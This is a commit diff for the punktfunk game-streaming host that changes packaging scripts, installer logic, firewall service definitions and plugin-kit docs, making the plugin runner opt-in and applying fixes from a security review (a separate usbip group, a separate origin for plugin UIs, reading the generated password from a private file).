let default = "# punktfunk host configuration (read by the Windows service).\n\
# KEY=VALUE per line; '#' comments. Restart the service after editing:\n\
# punktfunk-host service stop && punktfunk-host service start\n\
+6 -12
View File
@@ -108,16 +108,10 @@ the full path: `& "$env:ProgramFiles\punktfunk\punktfunk-host.exe" plugins add p
Open the [web console](/docs/web-console) and the plugin's page appears in the nav automatically —
that's the whole install.
The runner is **on by default** on a new install — your game sources are plugins, so a host without
it would show an empty library. (On a host that predates this, it stays however you left it; turn it
on with `punktfunk-host plugins enable`, which you only need once.) The runner discovers plugins
when it starts, so one installed later needs a restart to come up
(`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting` task) — the
console does that restart for you as part of installing.
Don't want it? It is a normal service you can switch off: `systemctl --user mask punktfunk-scripting`
on Linux, or disable the `PunktfunkScripting` scheduled task on Windows. Your host keeps streaming;
you just lose plugin-provided game sources and any automation.
The runner is **opt-in**: `plugins add` installs, `plugins enable` turns it on. You only need
`enable` once. The runner discovers plugins when it starts, so one installed later needs a restart
to come up (`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting`
task) — the console does that restart for you as part of installing.
A plugin installed from the CLI shows up in the console as **Installed via CLI**: the console knows
what is installed, but not who vouched for it. Install the same plugin from the store's Browse tab
@@ -307,8 +301,8 @@ host's, on one timeline, with the same search and download. Each is tagged `plug
plugin's own name for lines it logged itself, `plugin:runner` for the supervisor's (starting a
plugin, restarting a crashed one, refusing an unsafe file).
An empty Plugins view almost always means the runner isn't running — it is a separate service. Check
with `punktfunk-host plugins status`.
An empty Plugins view almost always means the runner isn't running — it is a separate service, and
opt-in on Linux. Check with `punktfunk-host plugins status`.
<Callout>
Nothing is lost if the host is down: the runner keeps buffering and sends the backlog when the host
+12
View File
@@ -4,8 +4,17 @@ _ensure_update_group() {
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true
}
_ensure_punktfunk_group() {
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on
# purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only
# kernel primitive and must not ride on the group users are told to join for gamepads
# (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true
}
post_install() {
_ensure_update_group
_ensure_punktfunk_group
udevadm control --reload-rules 2>/dev/null || true
udevadm trigger --subsystem-match=misc 2>/dev/null || true
# Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl).
@@ -14,6 +23,9 @@ post_install() {
punktfunk-host installed.
1. Add yourself to the 'input' group for virtual gamepads:
sudo usermod -aG input "$USER" # then re-login
Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk':
sudo usermod -aG punktfunk "$USER"
That group can emulate arbitrary USB devices — join it only on a machine you trust.
2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck):
mkdir -p ~/.config/punktfunk
cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env
-17
View File
@@ -98,23 +98,6 @@ if [ -n "$GAMESCOPE" ]; then
install -Dm0755 "$GAMESCOPE" "$STAGE/usr/bin/punktfunk-gamescope"
fi
# Enable the plugin/script runner for every user, by baking its `[Install] WantedBy=default.target`
# symlink straight into the image.
#
# A sysext carries only /usr, and RPM scriptlets never run from one — so the `systemctl --global
# enable` the .rpm/.deb do at install time has no equivalent here, and without this the runner would
# ship present-but-off on exactly the platform (Bazzite / Fedora Atomic) where an operator is least
# likely to go hunting for it. The game-library scanners are plugins now (design D9), so an
# unenabled runner means an empty library.
#
# Opt-out is unchanged and still wins: `systemctl --user mask punktfunk-scripting` in the user's own
# ~/.config/systemd/user takes precedence over anything under /usr.
if [ -f "$STAGE/usr/lib/systemd/user/punktfunk-scripting.service" ]; then
install -d "$STAGE/usr/lib/systemd/user/default.target.wants"
ln -sf ../punktfunk-scripting.service \
"$STAGE/usr/lib/systemd/user/default.target.wants/punktfunk-scripting.service"
fi
# Self-update: the helper rides inside the image.
install -Dm0755 "$HERE/punktfunk-sysext.sh" "$STAGE/usr/bin/punktfunk-sysext"
+7
View File
@@ -289,6 +289,11 @@ set -e
if [ "$1" = "configure" ]; then
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input':
# writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel
# primitive that must not ride on the group users are told to join for gamepads
# (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true
# Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers).
udevadm control --reload-rules 2>/dev/null || true
udevadm trigger --subsystem-match=misc 2>/dev/null || true
@@ -296,6 +301,8 @@ if [ "$1" = "configure" ]; then
sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true
echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:"
echo " sudo usermod -aG input \"\$USER\" # then re-login"
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\""
echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust."
echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env"
echo "Enable: systemctl --user enable --now punktfunk-host"
# Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present.
+7 -23
View File
@@ -114,36 +114,20 @@ Description: punktfunk plugin/script runner (Effect SDK on bun)
capped-jittered restart; SIGTERM shuts the whole tree down structurally so plugin finalizers run).
Bundles its own bun runtime (no system nodejs/bun dependency).
.
ON BY DEFAULT: the systemd --user unit is enabled for every user (systemctl --global). The runner is
inert until you add scripts or plugins, and the game-library scanners now ship AS plugins — so a
host without the runner has an empty library and no obvious reason why. A plugin auto-wires to the
host's mgmt token + identity cert on the same box — no env editing.
Opt out per user with: systemctl --user mask punktfunk-scripting
OPT-IN: the systemd --user unit is installed but not auto-enabled (the runner is inert until you add
scripts or plugins). A plugin auto-wires to the host's mgmt token + identity cert on the same box —
no env editing. Enable it with: systemctl --user enable --now punktfunk-scripting
EOF
cat > "$STAGE/DEBIAN/postinst" <<'EOF'
#!/bin/sh
set -e
if [ "$1" = "configure" ]; then
# `--global`, not `--user`: a maintainer script has no user session to act on, and this is the
# only mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into
# /etc/systemd/user/…wants/). The library's scanners are plugins now, so the runner is a default
# component rather than an add-on (design D9) — but installing it stays opt-OUT, and the opt-out
# is `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a
# global symlink.
#
# Only on FIRST configure ($2 empty): re-running it on every upgrade would silently undo the
# mask of anyone who turned it off.
if [ -z "$2" ] && command -v systemctl >/dev/null 2>&1; then
systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || true
fi
echo "punktfunk-scripting installed and enabled for all users."
echo "It runs your automation — game-library sources, scripts in"
echo "punktfunk-scripting installed. It runs your automation — add scripts to"
echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)"
echo "and plugins under ~/.config/punktfunk/plugins/."
echo "It starts with your next login; start it now with:"
echo " systemctl --user start punktfunk-scripting"
echo "Don't want it? systemctl --user mask punktfunk-scripting"
echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-<name>),"
echo "then enable the runner for your user:"
echo " systemctl --user enable --now punktfunk-scripting"
fi
exit 0
EOF
+10 -1
View File
@@ -6,7 +6,8 @@
Installed to /usr/lib/firewalld/services/ by the punktfunk-host package. NOT enabled automatically
(packages never touch the admin's firewall). Only useful if you installed the console (punktfunk-web)
AND want to reach it from another device on the LAN — the console binds all interfaces on TCP 47992
(HTTPS, login-gated). The streaming host itself does not need this open; enable it deliberately with
(HTTPS, login-gated), and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993 (see below).
The streaming host itself does not need this open; enable it deliberately with
firewall-cmd (add-service=punktfunk-web, then reload). CachyOS/Ubuntu: use the ufw punktfunk-web
profile instead.
@@ -18,4 +19,12 @@
<short>Punktfunk web console</short>
<description>The optional punktfunk management web console (device pairing, status, GPU selection, performance graphs) over HTTPS. Open only if you run the punktfunk-web package and want the console reachable from other devices on the LAN.</description>
<port protocol="tcp" port="47992"/> <!-- HTTPS web console (login-gated) -->
<!--
Plugin UIs, on their OWN ORIGIN. Not a second console: a plugin's interface is third-party code,
and serving it on the console's origin let it act as the logged-in operator (security-review
2026-08-05 H-3). Same host, same certificate, different port — a different origin to the browser,
but still same-site, so the session cookie reaches it. Login-gated exactly like the console.
Only needed if you use plugins that ship a UI and want to reach them from another device.
-->
<port protocol="tcp" port="47993"/> <!-- HTTPS plugin UIs (login-gated, separate origin) -->
</service>
+10 -3
View File
@@ -36,8 +36,15 @@ ports=47984,47989,48010/tcp|47998:48010/udp|5353/udp
# Run the host with `--mgmt-bind 127.0.0.1:47990` to keep 47990 loopback-only (then don't open it).
#
# The optional web console (the separate punktfunk-web package). Open only if you installed it and
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated).
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated),
# and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993.
#
# 47993 is not a second console. A plugin's interface is third-party code, and serving it on the
# console's own origin let it act as the logged-in operator (security-review 2026-08-05 H-3). Same
# host, same certificate, different port: a different ORIGIN to the browser, so the same-origin
# policy is the boundary — but still the same SITE, so the login session still reaches it. It is
# login-gated exactly like the console, and only needed for plugins that ship a UI.
[punktfunk-web]
title=punktfunk web console
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN
ports=47992/tcp
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN, plus the separate-origin port its plugin UIs are served on
ports=47992,47993/tcp
+16 -20
View File
@@ -191,10 +191,9 @@ The plugin/script runner for a punktfunk streaming host: it discovers loose scri
~/.config/punktfunk/scripts and installed punktfunk-plugin-* packages under ~/.config/punktfunk/
plugins, and supervises each as an Effect fiber (capped-jittered restart; SIGTERM shuts the whole
tree down structurally so plugin finalizers run). A plugin auto-wires to the host's mgmt token +
identity cert on the same box no env editing. Bundles its own bun runtime. ON BY DEFAULT: the
systemd --user unit is enabled for every user (systemctl --global). The game-library scanners ship
as plugins, so a host without the runner has an empty library. Opt out per user with
`systemctl --user mask punktfunk-scripting`.
identity cert on the same box no env editing. Bundles its own bun runtime. OPT-IN: the systemd
--user unit ships disabled (the runner is inert until you add scripts/plugins). Enable with
`systemctl --user enable --now punktfunk-scripting`.
%endif
%prep
@@ -555,6 +554,10 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || :
%post
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || :
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing
# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must
# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || :
# Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort).
udevadm control --reload-rules 2>/dev/null || :
udevadm trigger --subsystem-match=misc 2>/dev/null || :
@@ -562,6 +565,8 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || :
# it takes effect on the next boot into the layered deployment).
sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || :
echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)"
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER"
echo " that group can emulate arbitrary USB devices; join it only on a machine you trust."
echo "then enable the host: systemctl --user enable --now punktfunk-host"
echo "Config: cp %{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env"
# Fedora/RHEL run firewalld by default — point the way to the installed service definitions.
@@ -585,28 +590,19 @@ fi
echo "punktfunk-web installed. Enable the console for your user:"
echo " systemctl --user enable --now punktfunk-web"
echo "A login password is generated on first start read it with:"
echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'"
# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm /
# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a
# password out of it published the secret to every member of those groups (review 2026-08-05 L-18).
echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password"
echo "Then open https://<host-ip>:47992"
%endif
%if %{with scripting}
%post scripting
# `--global`, not `--user`: a scriptlet has no user session to act on, and this is the only
# mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into
# /etc/systemd/user/…wants/). The game-library scanners are plugins now, so the runner is a default
# component rather than an add-on (design D9); it stays opt-OUT via
# `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a global
# symlink. $1 == 1 is a first INSTALL — on an upgrade ($1 > 1) this must not undo an operator's mask.
if [ "$1" -eq 1 ] && command -v systemctl >/dev/null 2>&1; then
systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || :
fi
echo "punktfunk-scripting installed and enabled for all users."
echo "It runs your automation game-library sources, scripts in"
echo "punktfunk-scripting installed. It runs your automation add scripts to"
echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)"
echo "and plugins under ~/.config/punktfunk/plugins/."
echo "It starts with your next login; start it now with:"
echo " systemctl --user start punktfunk-scripting"
echo "Don't want it? systemctl --user mask punktfunk-scripting"
echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-<name>),"
echo "then enable the runner: systemctl --user enable --now punktfunk-scripting"
%endif
%changelog
+3 -56
View File
@@ -329,8 +329,9 @@ Filename: "{app}\punktfunk-host.exe"; Parameters: "web setup {code:WebSetupParam
; converges tasks an older installer registered as SYSTEM.
; Best-effort (-ErrorAction SilentlyContinue): a task hiccup never fails the whole install. No braces
; in the command, so no Inno {{ }} escaping needed.
Filename: "powershell.exe"; Parameters: "{code:ScriptingRegisterParams}"; \
StatusMsg: "Registering the Punktfunk script runner..."; Flags: runhidden waituntilterminated
Filename: "powershell.exe"; \
Parameters: "-NoProfile -ExecutionPolicy Bypass -Command ""$a=New-ScheduledTaskAction -Execute '{app}\scripting\scripting-run.cmd'; $t=New-ScheduledTaskTrigger -AtStartup; $p=New-ScheduledTaskPrincipal -UserId 'LocalService' -LogonType ServiceAccount; $s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p -Settings $s -Force -ErrorAction SilentlyContinue | Out-Null; Disable-ScheduledTask -TaskName PunktfunkScripting -ErrorAction SilentlyContinue | Out-Null"""; \
StatusMsg: "Registering the Punktfunk script runner (disabled; opt-in)..."; Flags: runhidden waituntilterminated
#endif
#if defined(WithWeb) || defined(WithScripting)
; Put back what StopBunRuntimes disabled to unlock bun.exe. Deliberately the LAST [Run] entry that
@@ -618,12 +619,6 @@ end;
it disabled would switch it off for everyone who had it on. }
var
WebTaskWasEnabled, ScriptingTaskWasEnabled: Boolean;
{ Did PunktfunkScripting exist AT ALL before this install (enabled or not)? That is what
distinguishes a FRESH scripting install — where the runner is now registered enabled by default
(design D9: the library moves into plugins, and a flagship surface cannot depend on an opt-in
subsystem, or a fresh box would come up with an empty library) — from an UPGRADE, where the
operator's own choice is the only thing that may decide it. }
ScriptingTaskExisted: Boolean;
{ Escape a value for embedding in a single-quoted PowerShell literal ('' is PS's escaped quote).
The install dir is user-chosen, so it can legitimately contain an apostrophe. }
@@ -648,22 +643,6 @@ begin
Result := ResultCode = 1;
end;
{ Is the task registered at all, whatever its state? Distinct from TaskEnabled: an operator who
deliberately DISABLED the runner must keep it disabled across an upgrade, which is indistinguishable
from a fresh install if you only ask "was it enabled". }
function TaskExists(TaskName: String): Boolean;
var
ResultCode: Integer;
begin
Result := False;
if Exec('powershell.exe',
'-NoProfile -ExecutionPolicy Bypass -Command "' +
'$t=Get-ScheduledTask -TaskName ''' + PsLiteral(TaskName) + ''' -ErrorAction SilentlyContinue; ' +
'if($t){exit 1}; exit 0"',
'', SW_HIDE, ewWaitUntilTerminated, ResultCode) then
Result := ResultCode = 1;
end;
{ Free the bundled bun.exe (and the console's own files) BEFORE the copy. Windows will not delete a
running image, so a surviving bun means "DeleteFile failed; code 5" on bun\bun.exe - the modal a
user hit updating to 0.22.1.
@@ -685,9 +664,6 @@ var
begin
WebTaskWasEnabled := TaskEnabled('PunktfunkWeb');
ScriptingTaskWasEnabled := TaskEnabled('PunktfunkScripting');
{ Probed BEFORE the Disable below, which would otherwise make every upgrade look like a fresh
install to the registration entry. }
ScriptingTaskExisted := TaskExists('PunktfunkScripting');
Exec('powershell.exe',
'-NoProfile -ExecutionPolicy Bypass -Command "' +
'$ErrorActionPreference=''SilentlyContinue''; ' +
@@ -713,35 +689,6 @@ end;
DELETED the legacy task (the console runs under the host service now), so Enable-ScheduledTask
hits nothing and no-ops under SilentlyContinue. If the user cancels mid-install, though,
DeinitializeSetup runs this same restore and puts the old (task-owned) world back intact. }
{ Register PunktfunkScripting, and decide whether it comes up ENABLED.
`Register-ScheduledTask` registers enabled, so the state is decided by what follows:
* FRESH install (the task did not exist) -> leave it enabled and start it now, so the runner is
live without waiting for a reboot. Since the library's scanners become plugins (design D9),
shipping this opt-in would mean a fresh box comes up with an empty library and no obvious
reason why.
* UPGRADE (the task existed) -> disable here and let RestoreTasksParams put the operator's own
state back. That order is deliberate: this entry cannot know what they chose, and defaulting
to "on" here would silently switch the runner on for everyone who had turned it off.
It remains opt-OUT: `punktfunk-host plugins disable`, or the task's own Disable, still wins and
survives every later upgrade through exactly this path. }
function ScriptingRegisterParams(Param: String): String;
begin
Result := '-NoProfile -ExecutionPolicy Bypass -Command "' +
'$ErrorActionPreference=''SilentlyContinue''; ' +
'$a=New-ScheduledTaskAction -Execute ''' +
PsLiteral(ExpandConstant('{app}\scripting\scripting-run.cmd')) + '''; ' +
'$t=New-ScheduledTaskTrigger -AtStartup; ' +
'$p=New-ScheduledTaskPrincipal -UserId ''LocalService'' -LogonType ServiceAccount; ' +
'$s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) ' +
'-AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; ' +
'Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p ' +
'-Settings $s -Force | Out-Null; ';
if ScriptingTaskExisted then
Result := Result + 'Disable-ScheduledTask -TaskName PunktfunkScripting | Out-Null"'
else
Result := Result + 'Start-ScheduledTask -TaskName PunktfunkScripting | Out-Null"';
end;
function RestoreTasksParams(Param: String): String;
begin
Result := '-NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference=''SilentlyContinue''; ';
-35
View File
@@ -53,41 +53,6 @@ export default definePluginKit({
| `loggingLayer` | runner-journal line format |
| `@punktfunk/plugin-kit/react` | browser glue: `createPluginRouter` (path→hash→fallback deep-link restore + `pf-ui:navigate`), `resolvePluginBase`, `useIsEmbedded`, `ResultGate`, `sseAtom` |
| `@punktfunk/plugin-kit/theme.css` | the console's violet identity for plugin UIs (import first in your Tailwind entry) |
| `@punktfunk/plugin-kit/library` | everything a **game-library scanner** plugin needs — see below |
## Library-scanner plugins (`@punktfunk/plugin-kit/library`)
The six first-party scanners (steam, lutris, heroic, epic, gog, xbox) each live in **their own
repo**, like every other punktfunk plugin. Nothing is lost by that split because everything they
share is published here rather than sitting adjacent to them:
| Export | What it saves you writing |
| --- | --- |
| `defineLibraryPlugin` | the whole plugin except the scan: store claim, sync engine (poll + fs-watch + debounce), launcher entries, `__config`, `category: "library"` registration, and the `detect` / `scan` / `parity` / `uninstall` CLI verbs |
| `parsers/*` | text VDF + `.acf`, binary `shortcuts.vdf` (with the CRC-32 appid and the 64-bit `rungameid` composition), read-only SQLite, `reg.exe`, capped readers, a confined path join, Steam root/library discovery, art location helpers, an anti-SSRF fetch |
| `diffParity` + the `parity` verb | the acceptance gate below |
A first-party scanner is therefore **its parsers and a `scan` function** — a few hundred lines.
### The parity gate
Ported unit tests pin the parsers; they do not prove the plugin reproduces the scanner it replaces.
A plugin that parses perfectly and emits `steam:440.0` instead of `steam:440` breaks every Moonlight
pin on the host, and no parser test notices. So, on a box with that launcher installed:
```sh
# 1. while the host is still using its BUILT-IN scanner:
punktfunk-plugin-steam parity --snapshot before.json
# 2. offline — runs this plugin's own scan and diffs:
punktfunk-plugin-steam parity --compare before.json
```
`--compare` exits non-zero on any difference, so it works as a release gate. It compares ids,
titles, launch recipes, roles and metadata exactly; **art by presence, not value** (the
representation legitimately changes — a host-relative proxy path or inlined `data:` URL becomes a
`file://` path or a CDN URL), so spot-check a few covers by eye once. Launcher entries the plugin
adds are reported separately rather than failing the run; an ordinary title the scanner never had
still fails.
## Telling the host how to recognize a running title (`detect`)
-168
View File
@@ -1,168 +0,0 @@
// A COMPLETE library-scanner plugin, and the template the six first-party ones are cut from.
//
// This is the lutris pilot (design M5/WP5.1) — the smallest of the six, and the one that exercises
// the POSIX local-art path end to end. It lives here as a worked example rather than shipped code:
// each scanner gets its OWN repo (the house pattern), and this is what you copy into a fresh one.
// `package.json`'s `files` is dist + README, so nothing here is published.
//
// The point it proves: everything below the `scan` function is store-specific parsing, and
// everything else — the store claim, the sync engine, launcher entries, `__config`, the console
// registration, the CLI verbs including the parity gate — comes from `defineLibraryPlugin`. That is
// what makes six repos cost nothing in duplication.
//
// Ported from crates/punktfunk-host/src/library/lutris.rs, with two deliberate changes:
// * art is emitted as `file://` URLs instead of inlined `data:` URLs. The host proxies the bytes,
// so the reconcile payload stays tiny — inlining covers is what blew the host's 2 MB body limit
// at 49 titles during the playnite work, and it is exactly why the POSIX art path exists (G4).
// * the `installed = 1` filter and the untrusted-slug guard are carried over verbatim. The slug
// comes from Lutris's own database and is interpolated into a path, so the guard is load-bearing.
import * as os from "node:os";
import * as path from "node:path";
import { Effect, Schema } from "effect";
import {
defineLibraryPlugin,
fileUrl,
isFile,
withReadOnlyDb,
} from "../src/library/index.js";
import type { ProviderEntry } from "../src/wire.js";
const LutrisConfig = Schema.Struct({
/**
* Where `pga.db` lives, when it isn't in one of the standard places. Annotated because the
* console's generic settings form derives its label and help text from exactly these.
*/
databasePath: Schema.optionalKey(
Schema.String.annotate({
title: "Lutris database",
description:
"Absolute path to pga.db. Leave empty to find it automatically.",
}),
),
});
/** Candidate `pga.db` locations: XDG data dir, the classic path, Flatpak. */
const databaseCandidates = (): string[] => {
const out: string[] = [];
const xdg = process.env.XDG_DATA_HOME;
if (xdg) out.push(path.join(xdg, "lutris/pga.db"));
const home = os.homedir();
if (home) {
out.push(path.join(home, ".local/share/lutris/pga.db"));
out.push(path.join(home, ".var/app/net.lutris.Lutris/data/lutris/pga.db"));
}
return out;
};
const findDatabase = (cfg: { databasePath?: string }): string | undefined =>
[...(cfg.databasePath ? [cfg.databasePath] : []), ...databaseCandidates()].find(
isFile,
);
/**
* `<kind>/<slug>.jpg` across the current, legacy-cache and Flatpak Lutris roots.
*
* The slug comes verbatim from Lutris's database and is interpolated into a path, so a separator,
* parent ref or NUL is refused otherwise a crafted slug is an arbitrary-file-read primitive, and
* the resulting path would be handed to the host's art proxy to serve (security-review 2026-07-17).
* Real Lutris slugs are `[a-z0-9-]`.
*/
const artFile = (kind: string, slug: string): string | undefined => {
if (
slug === "" ||
slug.includes("/") ||
slug.includes("\\") ||
slug.includes("..") ||
slug.includes("\0")
) {
return undefined;
}
const home = os.homedir();
if (!home) return undefined;
const roots = [
path.join(home, ".local/share/lutris"),
path.join(home, ".cache/lutris"),
path.join(home, ".var/app/net.lutris.Lutris/data/lutris"),
path.join(home, ".var/app/net.lutris.Lutris/cache/lutris"),
];
for (const root of roots) {
const p = path.join(root, kind, `${slug}.jpg`);
if (isFile(p)) return p;
}
return undefined;
};
interface GameRow {
id: number;
slug: string | null;
name: string;
directory: string | null;
}
export default defineLibraryPlugin({
// One string: plugin id, provider id, store claim, and the id of the built-in scanner this
// replaces. That identity chain is what keeps entry ids, GameStream app ids and the operator's
// existing enable/disable state intact across the migration.
name: "lutris",
configSchema: LutrisConfig,
detect: (cfg) => Effect.sync(() => findDatabase(cfg) !== undefined),
scan: (cfg) =>
Effect.sync(() => {
const db = findDatabase(cfg);
if (!db) return [];
// Read-only + immutable: a running Lutris holding the file can neither block us nor be
// disturbed by us.
const rows =
withReadOnlyDb(db, (h) =>
// `directory` is our only detect signal but is not load-bearing for the library, so
// a schema without it must not cost the whole source — the helper answers [] on a
// bad query, and the fallback keeps the titles.
h.query<GameRow>(
"SELECT id, slug, name, directory FROM games " +
"WHERE installed = 1 AND name IS NOT NULL AND name <> '' " +
"ORDER BY name COLLATE NOCASE",
),
) ?? [];
const usable =
rows.length > 0
? rows
: (withReadOnlyDb(db, (h) =>
h.query<GameRow>(
"SELECT id, slug, name, NULL AS directory FROM games " +
"WHERE installed = 1 AND name IS NOT NULL AND name <> '' " +
"ORDER BY name COLLATE NOCASE",
),
) ?? []);
return usable.map((row): ProviderEntry => {
const portrait = row.slug ? artFile("coverart", row.slug) : undefined;
const header = row.slug ? artFile("banners", row.slug) : undefined;
const dir = row.directory?.trim();
return {
// The host composes `lutris:<external_id>` — byte-identical to what the built-in
// scanner produced, which the parity gate checks.
external_id: String(row.id),
title: row.name,
launch: { kind: "lutris_id", value: String(row.id) },
art: {
...(portrait ? { portrait: fileUrl(portrait) } : {}),
...(header ? { header: fileUrl(header) } : {}),
},
// Lutris stamps no per-game env marker worth relying on, so the install dir is the
// whole recipe; a game with none (an emulator entry pointing at a bare ROM) stays
// untracked, exactly as it did in-host.
...(dir ? { detect: { install_dir: dir } } : {}),
platform: "PC",
};
});
}),
// Re-scan when Lutris writes: installing a game touches the database, and downloading art
// touches the cover directories.
watchDirs: (cfg) => {
const db = findDatabase(cfg);
return db ? [path.dirname(db)] : [];
},
});
+1 -5
View File
@@ -1,6 +1,6 @@
{
"name": "@punktfunk/plugin-kit",
"version": "0.3.0",
"version": "0.2.0",
"description": "Effect-based framework for punktfunk plugins: lifecycle runtime, config/state, sync engine, UI serving, CLI scaffold, and browser helpers.",
"type": "module",
"license": "MIT OR Apache-2.0",
@@ -29,10 +29,6 @@
"types": "./dist/wire.d.ts",
"default": "./dist/wire.js"
},
"./library": {
"types": "./dist/library/index.d.ts",
"default": "./dist/library/index.js"
},
"./theme.css": "./dist/theme.css"
},
"files": ["dist", "README.md"],
+1 -8
View File
@@ -43,13 +43,6 @@ export {
type SyncSettings,
type SyncStatus,
} from "./sync-engine.js";
export {
deriveConfigJsonSchema,
httpApiEnv,
makeConfigHandler,
serveUi,
type ServeUiConfig,
type ServeUiOptions,
} from "./ui-server.js";
export { httpApiEnv, serveUi, type ServeUiOptions } from "./ui-server.js";
export { sseRoute, type SseRouteOptions } from "./sse.js";
export { type CliCommand, runPluginCli } from "./cli.js";
-335
View File
@@ -1,335 +0,0 @@
// `defineLibraryPlugin` — the shared framework behind every library-scanner plugin (design D10).
//
// The point of this module is that a first-party scanner should be **its parsers and a scan
// function**, ~200400 lines, and nothing else. Everything a scanner needs beyond that is identical
// across all six of them and lives here: claiming the store, reconciling through the sync engine,
// appending launcher entries, serving `__config` so the console renders settings without the plugin
// shipping an SPA, registering under `category: "library"` so it stays out of the nav, and the
// standard CLI verbs.
import type { PluginDef } from "@punktfunk/host";
import * as fs from "node:fs";
import { Duration, Effect, Layer, Schema, Stream } from "effect";
import { type CliCommand, runPluginCli } from "../cli.js";
import { type ConfigService, makeConfigService } from "../config.js";
import { HostClient, PluginInfo } from "../host-client.js";
import { ProviderClient, type ProviderClientService } from "../reconcile.js";
import { definePluginKit, type PluginKitDef } from "../runtime.js";
import { makeSyncEngine } from "../sync-engine.js";
import { serveUi } from "../ui-server.js";
import type { ProviderEntry } from "../wire.js";
import {
diffParity,
formatParityReport,
fromHostEntry,
fromProviderEntry,
type HostGameEntry,
} from "./parity.js";
/** What a scan produced — the status surface and the CLI's `scan` verb both render this. */
export interface ScanReport {
readonly entries: number;
readonly launchers: number;
/** False when the launcher isn't installed here — the library is legitimately empty. */
readonly present: boolean;
}
export interface LibraryPluginDef<S extends Schema.Top> {
/**
* The plugin id. **This one string is also the provider id, the store claim, and the id of the
* built-in scanner this plugin replaces.** That identity chain is what makes the migration
* invisible: entry ids stay `<name>:<external_id>`, GameStream app ids and client art caches
* stay valid, and the operator's existing enable/disable state carries over untouched.
*/
readonly name: string;
readonly version?: string;
/**
* The store to claim (design D2). Defaults to {@link name} and should almost never differ see
* the identity note above. Pass `null` to opt out of claiming entirely, which makes this an
* ordinary unclaimed provider whose entries surface as `custom:`.
*/
readonly store?: string | null;
/** The operator-facing config schema. Drives `__config` and every callback's argument. */
readonly configSchema: S;
/**
* Is this launcher present on the host at all? Surfaces in the CLI's `detect` verb, and lets the
* plugin report "not installed" rather than silently syncing an empty library.
*/
readonly detect: (cfg: S["Type"]) => Effect.Effect<boolean>;
/** Enumerate the launcher's installed titles — the only real per-store code. */
readonly scan: (
cfg: S["Type"],
) => Effect.Effect<ReadonlyArray<ProviderEntry>>;
/**
* Entries that open the LAUNCHER itself (design D4) Steam Big Picture, Heroic, Appended to
* every reconcile, so toggling one in config takes effect on the next sync. Emit them with
* `role: "launcher"`; the kit does not stamp it for you, because a plugin may legitimately want
